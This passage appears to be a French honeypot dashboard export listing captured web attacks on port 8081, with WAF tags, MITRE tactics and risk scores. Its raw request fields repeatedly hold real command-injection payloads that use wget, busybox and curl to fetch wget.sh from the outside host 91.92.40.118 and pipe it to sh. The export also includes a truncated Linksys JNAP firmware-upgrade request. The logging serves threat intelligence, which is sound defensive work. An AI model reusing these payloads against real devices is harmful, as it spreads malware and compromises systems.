"query_string": "cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"950629:webshell-param-cmd"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1",
"webshell-param-cmd"
],
"request_line": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs HTTP\/1.1",
"request_sample": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: clo",
"payload_snippet": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wge",
"classification_reason": "Param\u00e8tres de scan \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "56c240127695c0697e6d5b3e6eff99a3fcd22a78",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
"request_line": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wge",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Param\u00e8tres de scan \u00b7 confiance 59%",
"classification_reason_label_fr": "Param\u00e8tres de scan \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
"request_line": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget\u2026",
"evidence_snippet": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wge",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"950629:webshell-param-cmd",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_config",
"http_scanner_params",
"http_suspicious_params",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
11/07/2026 23:49:07 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /JNAP/
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /JNAP/
Émulateur
HTTP
WAF
66
Recommandation
Investiguer
Tags
950311:lfi-12
950326:rce-0
950327:rce-0
950335:rce-2
Cible HTTP
POST
/JNAP/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/JNAP/
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /JNAP/ HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /JNAP/ HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/json; charset=utf-8
X-JNAP-Action: http://linksys.com/jn
Requête brute (extrait)
POST /JNAP/ HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/json; charset=utf-8 X-JNAP-Action: http://linksys.com/jnap/firmware/Upgrade Content-Length: 251 Connection: close {"JNAP":{"action":"http://linksys.com/jnap/firmware/Upgrade","com
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "1590bac5c7d7e8540ab87881f47e89fa381ce665",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 442,
"payload_entropy": 5.3857511832915606,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "97f386438e263d9390fa75ffbd16dd75cf5514fd",
"event_fingerprint": "fa4fb497c394ece581353e50ea95b8971050cbe3",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 142,
"precision_signals": [
"INT-http_cmdi",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "4f2d27df216bd57db8422b4c9448fe8e",
"path_pattern_hash": "09d793525e81db3cecc4e36c738b6310"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/firmware\/Upgrade\r\nContent-Length: 251\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/firmware\/Upgrade\",\"com",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"evidence": {
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jnap\/firmware\/Upgrade\r\nContent-Length: 251\r\nConnection: close\r\n\r\n{\"JNAP\":{\"action\":\"http:\/\/linksys.com\/jnap\/firmware\/Upgrade\",\"com",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "bc1fbfea61111bc95ffda3969c8daf20458965d1",
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json; charset=utf-8\r\nX-JNAP-Action: http:\/\/linksys.com\/jn",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 10 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950326:rce-0",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 84
}
11/07/2026 23:49:07 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%2…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%…
Émulateur
HTTP
WAF
41
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950345:rce-5
950405:ssrf-3
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20…
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.
Requête brute (extrait)
GET /sysinfo.cgi?action=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsysinfo HTTP/1.1 Host: 62.3.50.3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "5e0ad868dd3c13dd4457bba7c1746b5834f6cce3",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 285,
"payload_entropy": 5.103821349451459,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 9,
"anomaly_count": 1,
"campaign_key": "7f032fbc914305d94b22a4b2d45c9ae94444a4c4",
"event_fingerprint": "1c10f2159a01684d4df89a1f8b5da259ebfdf310",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "cb4dd6c58421edff9380d424d7657c65",
"path_pattern_hash": "6aff1c054e67a6e0a068c48726213b60"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo",
"query_string": "action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo HTTP\/1.1",
"payload_snippet": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo",
"query_string": "action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo HTTP\/1.1",
"request_sample": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20lsysinfo HTTP\/1.1\r\nHost: 62.3.50.3",
"payload_snippet": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3b1fe100e266a4fe125ce0d3eaf1950a75be9f32",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20\u2026",
"request_line": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bcurl%20http:\/\/91.92.40.1\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/sysinfo.cgi?action=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%20wget%20http:\/\/91.",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20lsysinfo%3Bbusybox%2\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
